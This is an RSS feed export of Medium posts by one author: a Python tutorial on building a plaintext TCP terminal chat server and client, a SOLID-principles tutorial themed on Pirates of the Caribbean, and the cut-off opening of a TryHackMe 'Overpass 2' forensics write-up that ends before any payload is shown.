            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HXdMchB6-I7PNHAcWMA4jA.png" /></figure><p>Hello! I assume that you did watch some old movies and you might have noticed that back in the day people were using those old computers with simple graphical interfaces or maybe no graphical interface at all. Those were used for texting or connecting to some other machines. Especially when watching a hacker movie, that black screen with a bunch of letters used to show up a lot.</p><p>In this article, I would like to show you how to create such a chat using Python. Let’s get started!</p><h3>Chat server code</h3><p>I’m going to break the code into a couple of chunks to analyze it and explain it properly.</p><pre>from collections import namedtuple<br>import threading<br><br>ClientData = namedtuple(&#39;Client&#39;, &#39;socket, nickname&#39;)<br>BUFFER_SIZE = 1024<br>lock = threading.Lock()<br><br>class Server:<br>    def __init__(self, host=&#39;localhost&#39;, port=8888):<br>        self.clients = []<br>        self.HOST = host<br>        self.PORT = port<br>    <br>    def add_client(self, client: ClientData):<br>        self.clients.append(client)</pre><p>This is the easy part. We simply create a server class that is initialized with an empty list of clients. This is where we are going to store the data related to connected clients. HOST and PORT properties will store the information where our server will listen for the incoming connections.</p><p>The method add_client will simply add a new client to the list. Note that clients property is going to contain elements of ClientData type that consists of socket and nickname properties.</p><p>Note the line with the threading lock: lock = threadning.Lock() . We are going to use the lock later on due to the fact that our server will be able to handle multiple connections simultaneously so we are going to use multiple threads. The lock will prevent us from race conditions due to the fact that all threads will modify clients list when clients will be connecting and disconnecting from the server.</p><pre>  # ...<br><br>  def ask_for_nickname(self, client_socket):<br>        &quot;&quot;&quot;<br>        Sends welcome message to the user that has just connected <br>        and asks for the nickname. Method returns a nickname as a string.<br>        &quot;&quot;&quot;<br>        # Ask the client for the nickname<br>        client_socket.send(&quot;Introduce yourself: &quot;.encode())<br>        encoded_nickname = client_socket.recv(BUFFER_SIZE)<br>        decoded_nickname = encoded_nickname.decode()<br>        <br>        # If there&#39;s a response send the welcome message back<br>        if encoded_nickname:<br>            response = &quot;Hello &quot;.encode() + encoded_nickname<br>            client_socket.send(response)<br><br>        return decoded_nickname.strip()</pre><p>This method is going to be used whenever the new client connects to the server. First thing that is going to happen is the client will see the message to introduce himself. The client’s nickname will be saved and passed further to display every time he/she will send a message. This method returns the nickname as a string with no newline characters.</p><pre>  # ...<br>  def server_message(self, message: str):<br>        &quot;&quot;&quot;<br>        Send a server notification to all the chat participants.<br>        &quot;&quot;&quot;<br>        with lock:<br>          for client in self.clients:<br>              message = color_text(TextColor.ORANGE.value, message)<br>              client.socket.send(message.encode())<br><br>  def broadcast(self, message, sender: ClientData):<br>        &quot;&quot;&quot;<br>        Broadcast a message from the sender to all other <br>        chat participants.<br>        &quot;&quot;&quot;<br>        with lock:<br>            for client in self.clients:<br>                if client != sender:<br>                    message = f&quot;&lt;{sender.nickname}&gt; &quot; + message.decode()<br>                    message = color_text(TextColor.GREEN.value, message).encode()<br>                    client.socket.send(message)</pre><pre>class TextColor(Enum):<br>    GREEN = &#39;\033[92m&#39;<br>    ORANGE = &#39;\033[93m&#39;<br>    WHITE = &#39;\033[39m&#39;<br><br>def color_text(color: TextColor, text:str):<br>    return color + text + TextColor.WHITE.value</pre><p>server_message method sends a message to every chat participant. The aim for this method is to inform all of the participants when anyone new joined the room or left the conversation. The text is colored in orange with color_text function that will be explained later on.</p><p>The broadcast function works almost the same way, however, it sends message to all of the chat participants except for the sender. In both cases, we are using lock as a context manager. This prevents the clients list from being modified when executing any of those methods. That ensures us that all the clients will be there when the loop is iterating through them to send particular message.</p><p>I created a TextColor class that inherits from Enum class to manage the text colors more easily. There is a separate function called color_text that returns a string but ensures us that the given text will have a defined color. In the end, I added TextColor.WHITE.value so that the output in the terminal would be white by default.</p><pre>  # ...<br>  def remove_client(self, client: ClientData):<br>        &quot;&quot;&quot;<br>        Remove the client from the list of connected clients.<br>        &quot;&quot;&quot;<br>        with lock:<br>            if client in self.clients:<br>                self.clients.remove(client)<br>                client.socket.close()<br>                <br>                self.server_message(f&quot;{client.nickname} quit the chat&quot;)</pre><p>The remove_client method uses a lock again to prevent from modifying the clients list when attempting to remove one of the chat participants. The method itself is trying to remove the client from the list of clients and inform all other chat participants about it.</p><pre>  # ...<br>  def handle_client(self, client_socket):<br>        &quot;&quot;&quot;<br>        Handles a client connection.<br>        &quot;&quot;&quot;<br>        # Ask user for the nickname<br>        nickname = self.ask_for_nickname(client_socket)<br>        self.server_message(f&quot;\n{nickname} joined the chat...\n&quot;)<br>        <br>        # Add client to the list of server clients<br>        client = ClientData(<br>            socket=client_socket,<br>            nickname=nickname,<br>        )<br>        self.add_client(client)<br>        <br>        # Start the chat loop<br>        while True:<br>            try:<br>                message = client_socket.recv(BUFFER_SIZE)<br>                if message:<br>                    self.broadcast(message, client)<br>                else:<br>                    self.remove_client(client)<br>                    break<br>            except Exception as e:<br>                print(f&quot;Error -&gt; {e}&quot;)<br>                self.remove_client(client)<br>                break</pre><p>handle_client is a method that combines previously presented methods to organize the communication between the client and the server. First, the user is asked for the nickname. Then the server informs all of the chat participants that user X joined the chat. The client is added to the clients list and the loop starts. Inside the loop, the server is expecting some data to arrive from the client and then it’s going to forward the received message to everyone else. In case of any exceptions, we are attempting to remove the chat participant from the room.</p><p>This method is sort of the essence of how the client is being served. Now you will see how to handle multiple connections using Threading.</p><pre>  # ...<br>  def run(self):<br>        &quot;&quot;&quot;<br>        The main method to run the server.<br>        &quot;&quot;&quot;<br>        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>        server_socket.bind((self.HOST, self.PORT))<br>        server_socket.listen()<br>        <br>        print(f&quot;Server listening on {self.HOST}:{self.PORT}&quot;)<br>        <br>        while True:<br>            try:<br>                client_socket, client_address = server_socket.accept()<br>                print(f&quot;New connection from {client_address}&quot;)<br>                <br>                client_thread = threading.Thread(target=self.handle_client, args=(client_socket,))<br>                client_thread.start()<br>            <br>            except KeyboardInterrupt:<br>                break<br>        <br>        # Close all client connections<br>        with lock:<br>            for client in self.clients:<br>                client.socket.close()<br>        <br>        server_socket.close()<br>        print(&quot;Server stopped&quot;)</pre><p>The run method is the main function that handles the whole chat server functionality. socket.socket(socket.AF_INET, socket.SOCK_STREAM) creates a socket for communication. AF_INET stands for IPv4 socket and SOCK_STREAM stands for TCP protocol.</p><p>server_socket.bind((self.HOST, self.PORT)) is binding the chat with the given HOST address on the specified PORT.</p><p>Inside the loop, the server accepts incoming connections and creates separate threads for each connection. Those threads process handle_client method that was explained just a while before. When the server is stopped, all the clients are disconnected and the server socket is closed.</p><p>The whole code is available here:</p><pre>&quot;&quot;&quot;<br>Module contains source code for runnning chat server.<br>&quot;&quot;&quot;<br><br>from collections import namedtuple<br>from enum import Enum<br>import socket<br>import threading<br><br>ClientData = namedtuple(&#39;Client&#39;, &#39;socket, nickname&#39;)<br>BUFFER_SIZE = 1024<br>lock = threading.Lock()<br><br>class TextColor(Enum):<br>    GREEN = &#39;\033[92m&#39;<br>    ORANGE = &#39;\033[93m&#39;<br>    WHITE = &#39;\033[39m&#39;<br><br>def color_text(color: TextColor, text:str):<br>    return color + text + TextColor.WHITE.value<br><br>class Server:<br>    def __init__(self, host=&#39;localhost&#39;, port=8888):<br>        self.clients = []<br>        self.HOST = host<br>        self.PORT = port<br>    <br>    def add_client(self, client: ClientData):<br>        self.clients.append(client)<br>    <br>    def ask_for_nickname(self, client_socket):<br>        &quot;&quot;&quot;<br>        Sends welcome message to the user that has jsut connected <br>        and asks for the nickname. Method returns a nickname as a string.<br>        &quot;&quot;&quot;<br>        # Ask the client for the nickname<br>        client_socket.send(&quot;Introduce yourself: &quot;.encode())<br>        encoded_nickname = client_socket.recv(BUFFER_SIZE)<br>        decoded_nickname = encoded_nickname.decode()<br>        <br>        # If there&#39;s a response send the welcome message back<br>        if encoded_nickname:<br>            response = &quot;Hello &quot;.encode() + encoded_nickname<br>            client_socket.send(response)<br><br>        return decoded_nickname.strip()<br>    <br>    def remove_client(self, client: ClientData):<br>        &quot;&quot;&quot;<br>        Remove the client from the list of connected clients.<br>        &quot;&quot;&quot;<br>        with lock:<br>            if client in self.clients:<br>                self.clients.remove(client)<br>                client.socket.close()<br>                <br>                self.server_message(f&quot;{client.nickname} quit the chat&quot;)<br>    <br>    def server_message(self, message: str):<br>        &quot;&quot;&quot;<br>        Send a server notification to all the chat participants.<br>        &quot;&quot;&quot;<br>        with lock:<br>            for client in self.clients:<br>                message = color_text(TextColor.ORANGE.value, message)<br>                client.socket.send(message.encode())<br><br>    def broadcast(self, message, sender: ClientData):<br>        &quot;&quot;&quot;<br>        Broadcast a message from the sender to all other <br>        chat participants.<br>        &quot;&quot;&quot;<br>        with lock:<br>            for client in self.clients:<br>                if client != sender:<br>                    message = f&quot;&lt;{sender.nickname}&gt; &quot; + message.decode()<br>                    message = color_text(TextColor.GREEN.value, message).encode()<br>                    client.socket.send(message)<br>    <br>    def handle_client(self, client_socket):<br>        &quot;&quot;&quot;<br>        Handles a client connection.<br>        &quot;&quot;&quot;<br>        # Ask user for the nickname<br>        nickname = self.ask_for_nickname(client_socket)<br>        self.server_message(f&quot;\n{nickname} joined the chat...\n&quot;)<br>        <br>        # Add client to the list of server clients<br>        client = ClientData(<br>            socket=client_socket,<br>            nickname=nickname,<br>        )<br>        self.add_client(client)<br>        <br>        # Start the chat loop<br>        while True:<br>            try:<br>                message = client_socket.recv(BUFFER_SIZE)<br>                if message:<br>                    self.broadcast(message, client)<br>                else:<br>                    self.remove_client(client)<br>                    break<br>            except Exception as e:<br>                print(f&quot;Error -&gt; {e}&quot;)<br>                self.remove_client(client)<br>                break<br>    <br>    def run(self):<br>        &quot;&quot;&quot;<br>        The main method to run the server.<br>        &quot;&quot;&quot;<br>        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>        server_socket.bind((self.HOST, self.PORT))<br>        server_socket.listen()<br>        <br>        print(f&quot;Server listening on {self.HOST}:{self.PORT}&quot;)<br>        <br>        while True:<br>            try:<br>                client_socket, client_address = server_socket.accept()<br>                print(f&quot;New connection from {client_address}&quot;)<br>                <br>                client_thread = threading.Thread(target=self.handle_client, args=(client_socket,))<br>                client_thread.start()<br>            <br>            except KeyboardInterrupt:<br>                break<br>        <br>        # Close all client connections<br>        with lock:<br>            for client in self.clients:<br>                client.socket.close()<br>        <br>        server_socket.close()<br>        print(&quot;Server stopped&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    s = Server()<br>    s.run()</pre><h3>Chat client code</h3><pre>import socket<br>import threading<br><br>class ChatClient:<br>    def __init__(self, host=&#39;localhost&#39;, port=8888):<br>        self.HOST = host<br>        self.PORT = port<br><br>    def receive_messages(self, client_socket):<br>        &quot;&quot;&quot;<br>        Receives and prints messages from the server.<br>        &quot;&quot;&quot;<br>        while True:<br>            try:<br>                message = client_socket.recv(1024).decode()<br>                print(message)<br>            except Exception as e:<br>                print(f&quot;Error -&gt; {e}&quot;)<br>                client_socket.close()<br>                break<br><br><br>    def send_message(self, client_socket):<br>        &quot;&quot;&quot;<br>        Sends messages to the server.<br>        &quot;&quot;&quot;<br>        while True:<br>            try:<br>                message = input()<br>                client_socket.send(message.encode())<br>            except Exception as e:<br>                print(f&quot;Error -&gt; {e}&quot;)<br>                client_socket.close()<br>                break<br><br><br>    def start_client(self):<br>        &quot;&quot;&quot;<br>        Starts the chat client.<br>        &quot;&quot;&quot;<br>        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>        client_socket.connect((self.HOST, self.PORT))<br><br>        receive_thread = threading.Thread(target=self.receive_messages, args=(client_socket,))<br>        send_thread = threading.Thread(target=self.send_message, args=(client_socket,))<br>        try:<br>            receive_thread.start()<br>            send_thread.start()<br><br>            receive_thread.join()<br>            send_thread.join()<br>        except Exception as e:<br>            print(f&quot;Error {e}&quot;)<br>        client_socket.close()<br></pre><p>The chat client works pretty much the same as the server. The main difference is that here there are 2 threads for sending messages and for receiving messages. We could not get into a situation where we are not receiving any messages from other chat participants just because we are still typing our message. This way, those 2 actions are handled simultaneously.</p><h3>DEMO</h3><p>To run it locally I run the server script pyhton3 server.py with the default settings (localhost and port 8888 are hardcoded).</p><p>Then you might wanna use the chat client code or some network tool like Netcat to connect to the chat server.</p><p>nc &lt;HOST&gt; &lt;PORT&gt; ---&gt; Example: nc localhost 8888</p><p>The example is visible in the screenshot present at the top of this article.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HXdMchB6-I7PNHAcWMA4jA.png" /><figcaption>Testing chat server on a local machine</figcaption></figure><h3>This chat is insecure</h3><p>Remember that this chat is quite primitive and not secure. We are using TCP protocol without any encryption so the data is sent as plaintext.</p><p>If you know Wireshark, you can run it and filter the communication to see only the packets from port 8888. To do that, just insert tcp.port == 8888 into the filter input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VukEgSBZvGqniPYTf7jvtw.png" /><figcaption>Wireshark listening to the inner communication on port 8888</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wNQzf7sl2_cJBwHKcG_duw.png" /><figcaption>Example of user sharing his/her password via the insecure chat</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fOe9rQzYv1irUJUycQuD7Q.png" /><figcaption>Captured packet containing the whole message in plaintext</figcaption></figure><p>As you can see we can easily capture those packets and read all of the messages. To secure this type of chat we could use Asymmetric Encryption with a Public and Private Key so that the message would not be readable by any third party monitoring our communication.</p><h3>Summary</h3><p>That’s it! It wasn’t too difficult, right? :) <br>I hope you enjoyed the article and you will try to implement your very own chat in the terminal using Python. It’s interesting, it’s fun and it gives you a better understanding of how TCP communication works on a lower level.</p><p>Thanks for reading and check out my other articles!</p><p><a href="https://python.plainenglish.io/pirates-of-caribbean-and-solid-principles-in-python-7523b5fdec1f">Pirates of Caribbean and SOLID principles in Python</a></p><p><em>More content at </em><a href="https://plainenglish.io/"><strong><em>PlainEnglish.io</em></strong></a><em>.</em></p><p><em>Sign up for our </em><a href="http://newsletter.plainenglish.io/"><strong><em>free weekly newsletter</em></strong></a><em>. Follow us on </em><a href="https://twitter.com/inPlainEngHQ"><strong><em>Twitter</em></strong></a>, <a href="https://www.linkedin.com/company/inplainenglish/"><strong><em>LinkedIn</em></strong></a><em>, </em><a href="https://www.youtube.com/channel/UCtipWUghju290NWcn8jhyAw"><strong><em>YouTube</em></strong></a><em>, and </em><a href="https://discord.gg/GtDtUAvyhW"><strong><em>Discord</em></strong></a><strong><em>.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8adaab079e21" width="1" height="1" alt=""><hr><p><a href="https://python.plainenglish.io/create-an-old-school-chat-in-the-terminal-with-python-and-socket-library-8adaab079e21">Create an old-school chat in the terminal with Python and socket library</a> was originally published in <a href="https://python.plainenglish.io/">Python in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pirates of Caribbean and SOLID principles in Python]]></title>
            <link>https://python.plainenglish.io/pirates-of-caribbean-and-solid-principles-in-python-7523b5fdec1f?source=rss-b50072e68da8------2</link>
            <guid isPermaLink="false">https://medium.com/p/7523b5fdec1f</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[solid]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Mateusz Rędzia]]></dc:creator>
            <pubDate>Mon, 22 May 2023 11:14:25 GMT</pubDate>
            <atom:updated>2023-05-22T21:32:46.523Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lgXuSkt9JgdZnp5u" /><figcaption>Photo by <a href="https://unsplash.com/@feneek?utm_source=medium&amp;utm_medium=referral">Sergey Semin</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Hello! In this article, I would like to present SOLID principles applied to Python code. To engage your imagination I decided to improve my examples by referring to the Pirates of Caribbean movie. It’s going to be awesome! Let’s stARRRRRt!</p><h3>SOLID</h3><p>SOLID is a set of standards for Object Oriented Programming that consists of 5 rules:</p><ul><li><strong>S</strong>ingle-Responsibility Principle (SRP)</li><li><strong>O</strong>pen-Closed Principle (OCP)</li><li><strong>L</strong>iskov Substitution Principle (LSP)</li><li><strong>I</strong>nterface Segregation Principle (ISP)</li><li><strong>D</strong>ependency Inversion Principle (DIP)</li></ul><p>Those rules help out programmers to keep their code clean, more organized, reusable, and maintainable.</p><h3>Single-Responsibility Principle (SRP)</h3><blockquote>A class should have only one reason to change ~ Robert C. Martin</blockquote><p>The first principle says that we should keep our classes simple and use them for a single purpose.</p><p>That means there should be just one general task for a particular class to focus on. Let’s see the pirates example:</p><pre>class Pirate:<br>    def __init__(self, name):<br>        self.name = name<br><br>    def greet(self):<br>        print(f&quot;Arrr! I be {self.name}, the Pirate!&quot;)<br><br><br>class Ship:<br>    def __init__(self, name):<br>        self.name = name<br>        self.crew = []<br><br>    def add_pirate(self, pirate):<br>        self.crew.append(pirate)<br><br>    def list_crew(self):<br>        print(f&quot;Crew of {self.name}:&quot;)<br>        for pirate in self.crew:<br>            print(pirate.name)<br><br><br>class TreasureChest:<br>    def __init__(self):<br>        self.treasures = []<br><br>    def add_treasure(self, treasure):<br>        self.treasures.append(treasure)<br><br>    def list_treasures(self):<br>        print(&quot;Treasures in the chest:&quot;)<br>        for treasure in self.treasures:<br>            print(treasure)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    pirate1 = Pirate(&quot;Captain Jack Sparrow&quot;)<br>    pirate2 = Pirate(&quot;Hector Barbossa&quot;)<br><br>    ship = Ship(&quot;Black Pearl&quot;)<br>    ship.add_pirate(pirate1)<br>    ship.add_pirate(pirate2)<br><br>    treasure_chest = TreasureChest()<br>    treasure_chest.add_treasure(&quot;Aztec Gold&quot;)<br>    treasure_chest.add_treasure(&quot;Heart of Davy Jones&quot;)<br><br>    pirate1.greet()<br><br>    ship.list_crew()<br><br>    treasure_chest.list_treasures()</pre><p>The output would look like that:</p><pre>Arrr! I be Captain Jack Sparrow, the Pirate!<br><br>Crew of Black Pearl:<br>Captain Jack Sparrow<br>Hector Barbossa<br><br>Treasures in the chest:<br>Aztec Gold<br>Heart of Davy Jones</pre><p>With this approach, every class has only one responsibility which makes it easy to organize the code, test it and extend it.</p><h3>Open-Closed Principle (OCP)</h3><blockquote><em>Software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification</em></blockquote><p>This rule states that we should be able to add some new functionality without modifying the existing code. In Python, the concept of Abstract Class will definitely help us to achieve that.</p><pre>from abc import ABC, abstractmethod<br><br>class Pirate(ABC):<br>    def __init__(self, name):<br>        self.name = name<br><br>    @abstractmethod<br>    def greet(self):<br>        pass<br><br><br>class Captain(Pirate):<br>    def greet(self):<br>        print(f&quot;Arrr! I be {self.name}, the mighty Captain!&quot;)<br><br>class FirstMate(Pirate):<br>    def greet(self):<br>        print(f&quot;Arr! I be {self.name}, the First Mate of this bloody ship!&quot;)<br><br><br>class Ship:<br>    def __init__(self, name, captain):<br>        self.name = name<br>        self.captain = captain<br>        self.crew = []<br><br>    def add_pirate(self, pirate):<br>        self.crew.append(pirate)<br><br>    def crew_greeting(self):<br>        print(f&quot;Crew of {self.name}:&quot;)<br>        for pirate in self.crew:<br>            pirate.greet()<br><br><br>if __name__ == &quot;__main__&quot;:<br>    captain = Captain(&quot;Captain Jack Sparrow&quot;)<br>    first_mate = FirstMate(&quot;Joshamee Gibbs&quot;)<br><br>    ship = Ship(&quot;Black Pearl&quot;, captain)<br>    ship.add_pirate(captain)<br>    ship.add_pirate(first_mate)<br>    <br>    ship.crew_greeting()</pre><p>The output:</p><pre>Crew of Black Pearl:<br>Arrr! I be Captain Jack Sparrow, the mighty Captain!<br>Arr! I be Joshamee Gibbs, the First Mate of this bloody ship!</pre><p>In the example above we implement the Open-Closed Principle by creating a <strong>Pirate</strong> abstract class that contains abstract method <strong>greet()</strong> that all subclasses must implement.</p><p><strong>Captain</strong> and <strong>FirstMate</strong> classes are examples of extending the Pirate class usage. We are able to easily create more types of pirates without modifying the behavior of the <strong>Pirate</strong> class. Moreover, there is a <strong>Ship</strong> class that relies on the <strong>Pirate</strong> interface that also remains the same due to the fact that we are using the Open-Closed Principle.</p><p>This rule promotes code reusability, maintainability, and scalability by allowing the addition of new functionality through inheritance and abstraction, rather than modifying existing code.</p><h3>Liskov Substitution Principle (LSP)</h3><blockquote>Subtypes must be substitutable for their base types.</blockquote><p>This rule states that whenever we have a code that uses the base class, it should also work with every subclass. Let’s clarify with the example:</p><pre>class Pirate:<br>    def __init__(self, name):<br>        self.name = name<br><br>    def greet(self):<br>        print(f&quot;Arrr! I be {self.name}, a mighty pirate!&quot;)<br><br><br>class Ship:<br>    def __init__(self, name):<br>        self.name = name<br>        self.crew = []<br><br>    def add_pirate(self, pirate):<br>        self.crew.append(pirate)<br><br>    def list_crew(self):<br>        print(f&quot;Crew of {self.name}:&quot;)<br>        for pirate in self.crew:<br>            print(pirate.name)<br>    <br>    def crew_demo(self):<br>        for pirate in self.crew:<br>            pirate.greet()<br>            if isinstance(pirate, CombatPirate):<br>                pirate.attack()<br><br><br>class Captain(Pirate):<br>    def __init__(self, name):<br>        super().__init__(name)<br><br>    def greet(self):<br>        print(f&quot;Alrighty mate? I&#39;m the captain {self.name}, savvy?&quot;)<br><br><br>class CombatPirate(Pirate):<br>    def __init__(self, name, weapon):<br>        super().__init__(name)<br>        self.weapon = weapon<br><br>    def greet(self):<br>        print(f&quot;Arrr! I be {self.name}, a fearsome pirate armed with a {self.weapon}!&quot;)<br><br>    def attack(self):<br>        print(f&quot;{self.name} unleashes a devastating attack with their {self.weapon}!&quot;)<br><br><br># Usage example<br>if __name__ == &quot;__main__&quot;:<br>    jack_sparrow = Captain(&quot;Captain Jack Sparrow&quot;)<br>    hector_barbossa = CombatPirate(&quot;Hector Barbossa&quot;, &quot;sword&quot;)<br><br>    ship = Ship(&quot;Black Pearl&quot;)<br>    ship.add_pirate(jack_sparrow)<br>    ship.add_pirate(hector_barbossa)<br><br>    ship.list_crew()<br>    ship.crew_demo()</pre><p>The output:</p><pre>Crew of Black Pearl:<br>Captain Jack Sparrow<br>Hector Barbossa<br><br>Alrighty mate? I&#39;m the captain Captain Jack Sparrow, savvy?<br>Arrr! I be Hector Barbossa, a fearsome pirate armed with a sword!<br>Hector Barbossa unleashes a devastating attack with their sword!</pre><p>In this example, our base class is the <strong>Pirate </strong>class. Then there are 2 of its subclasses <strong>Captain</strong> and <strong>CombatPirate</strong>. <br>In the <strong>Ship</strong> class, there’s a method called <strong>crew_demo()</strong> and it relies on <strong>Pirate</strong> implementation so it should also work for its subclasses (<strong>Captain</strong> and <strong>CombatPirate</strong>).<br>Moreover, we added an “if” statement checking whether the pirate is a <strong>CombatPirate</strong>. In that case, it has to show his attack skills called from the <strong>attack()</strong> method.</p><p>In this example, the Liskov substitution principle was used by creating <strong>Captain</strong> and <strong>CombatPirate</strong> classes with a <strong>Pirate</strong> base class. Then we could keep the <strong>Ship</strong> class as it is because the methods inside it rely on the <strong>Pirate</strong> class.</p><p>By applying this rule, we ensure that derived classes can be used interchangeably with their base class, promoting code reuse, extensibility, and flexibility.</p><h3>Interface Segregation Principle (ISP)</h3><blockquote>Clients should not be forced to depend upon methods that they do not use. Interfaces belong to clients, not to hierarchies.</blockquote><p>This rule, very much alike to the single-responsibility principle, says that there should not be any not used methods in classes. In Python, we can achieve that by implementing multiple Abstract Classes with a particular set of methods that will be necessary in certain cases.</p><pre>from abc import ABC, abstractmethod<br><br><br>class Pirate(ABC):<br>    @abstractmethod<br>    def greet(self):<br>        pass<br><br><br>class Captain(ABC):<br>    @abstractmethod<br>    def give_orders(self):<br>        pass<br><br><br>class Sailor(ABC):<br>    @abstractmethod<br>    def hoist_sails(self):<br>        pass<br><br><br>class CaptainPirate(Pirate, Captain):<br>    def greet(self):<br>        print(&quot;Arrr! I be Captain Jack Sparrow, the captain of the Black Pearl!&quot;)<br><br>    def give_orders(self):<br>        print(&quot;Listen up, me hearties! Follow me lead, and let&#39;s find that treasure!&quot;)<br><br><br>class DeckhandPirate(Pirate, Sailor):<br>    def greet(self):<br>        print(&quot;Arrr! I be a deckhand, ready to raise the sails and swab the deck!&quot;)<br><br>    def hoist_sails(self):<br>        print(&quot;Heave-ho! Let&#39;s set sail, me hearties, and search for adventure!&quot;)<br><br><br># Usage example<br>if __name__ == &quot;__main__&quot;:<br>    captain_pirate = CaptainPirate()<br>    deckhand_pirate = DeckhandPirate()<br><br>    captain_pirate.greet()<br>    captain_pirate.give_orders()<br><br>    deckhand_pirate.greet()<br>    deckhand_pirate.hoist_sails()</pre><p>The output:</p><pre>Arrr! I be Captain Jack Sparrow, the captain of the Black Pearl!<br>Listen up, me hearties! Follow me lead, and let&#39;s find that treasure!<br>Arrr! I be a deckhand, ready to raise the sails and swab the deck!<br>Heave-ho! Let&#39;s set sail, me hearties, and search for adventure!</pre><p>In the example above, we created 3 interfaces (Abstract Classes) for different uses. <strong>CaptainPirate</strong> and <strong>DeckhandPirate</strong> are both pirates so they inherit from the <strong>Pirate</strong> class. However, they clearly have diverse duties.</p><p>We could as well implement all of those methods: <strong>greet()</strong>, <strong>give_orders(),</strong> and <strong>hoist_sails()</strong> in a single <strong>Pirate</strong> class but that would violate the Interface Segregation Principle. The Captain Pirate would not hoist sails and certainly, DeckhandPirate would never give orders.</p><p>Interface Segregation Principle prevents clients from being forced to depend on methods they do not need or use.</p><h3><strong>D</strong>ependency Inversion Principle (DIP)</h3><blockquote>Abstractions should not depend upon details. Details should depend upon abstractions</blockquote><p>This rule says that we should depend on abstractions when using our classes. Let’s start with the example:</p><pre>from abc import ABC, abstractmethod<br><br>class Pirate(ABC):<br>    @abstractmethod<br>    def greet(self):<br>        pass<br><br>class Captain(Pirate):<br>    def greet(self):<br>        print(&quot;Captain Jack Sparrow speaking!&quot;)<br><br>class Navigator(Pirate):<br>    def greet(self):<br>        print(&quot;(Mr Cotton): ...\nMr Cotton&#39;s Parrot: Wind in the sails!&quot;)<br><br>class Ship:<br>    def __init__(self):<br>        self.crew = []<br><br>    def add_pirate(self, pirate: Pirate):<br>        self.crew.append(pirate)<br><br>    def greet_crew(self):<br>        for pirate in self.crew:<br>            pirate.greet()<br><br># Usage example<br>if __name__ == &quot;__main__&quot;:<br>    captain = Captain()<br>    navigator = Navigator()<br><br>    ship1 = Ship()<br>    ship1.add_pirate(captain)<br>    ship1.add_pirate(navigator)<br><br>    ship1.greet_crew()</pre><p>In this example, the <strong>Ship</strong> class depends on the <strong>Pirate</strong> abstract class and this is the basic concept of this principle. <strong>Ship’s</strong> method <strong>add_pirate()</strong> takes one argument pirate which is expected to be of type <strong>Pirate</strong> or its subclasses. The <strong>Ship</strong> class depends on abstraction rather than concrete implementation. This allows for flexibility and extensibility, as different types of pirates can be injected into the <strong>Ship</strong> class without modifying its code.</p><h3>Conclusion</h3><p>Those were the 5 SOLID principles explained using Pirates of Caribbean theme :)</p><p>Hopefully, it’s a bit more clear for you now and you understand the importance of those rules. Note that the perfect code doesn’t exist and you’ll have to find a compromise in your design to follow best practices and make the code readable, quick, maintainable, and primarily, solving the given issue.</p><p>Thanks for reading and if you liked it I encourage you to read my other articles related to Python or Cybersecurity!</p><p>Cheers!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7523b5fdec1f" width="1" height="1" alt=""><hr><p><a href="https://python.plainenglish.io/pirates-of-caribbean-and-solid-principles-in-python-7523b5fdec1f">Pirates of Caribbean and SOLID principles in Python</a> was originally published in <a href="https://python.plainenglish.io/">Python in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Overpass 2 Tryhackme write-up]]></title>
            <link>https://medium.com/@mat.redzia/overpass-2-tryhackme-write-up-fc809b608864?source=rss-b50072e68da8------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc809b608864</guid>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Mateusz Rędzia]]></dc:creator>
            <pubDate>Fri, 05 May 2023 10:34:00 GMT</pubDate>
            <atom:updated>2023-05-05T10:34:00.276Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cC9g8I3DAJCUc8q5" /><figcaption>Photo by <a href="https://unsplash.com/@jackson_893?utm_source=medium&amp;utm_medium=referral">Michael Geiger</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In this article, I will describe the steps I took to go through the Tryhackme room called “Overpass 2-Hacked”. As a short intro, I will say that there’s a web application that was hacked by some evil group and now we’re the ones that are responsible for retracing hackers’ steps and getting back control over the compromised system.</p><p>What to expect:</p><ul><li>Forensics: <strong>Wireshark</strong> and analysis of captured data</li><li>Malicious payload analysis</li><li>Hash cracking with <strong>Hashcat</strong></li><li>Using attacker’s path to get back the system (<strong>Linux</strong> tools)</li></ul><p>Let’s get started!</p><h3>Forensics</h3><p>Initially, we are provided with a file containing captured packets from the period of the attack. Our first task is to analyze those packets and determine how exactly did the attacker get access to the compromised system.</p><p>We need to find the URL of the page that was used to upload the reverse shell. In this case, I’m going to filter the file looking for records with HTTP protocol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wyDfHL1i14hzahs908PaSQ.png" /></figure><p>We can notice that there’s a path “/development/upload.php” that looks suspicious. Let’s search for the payload that was used to gain the 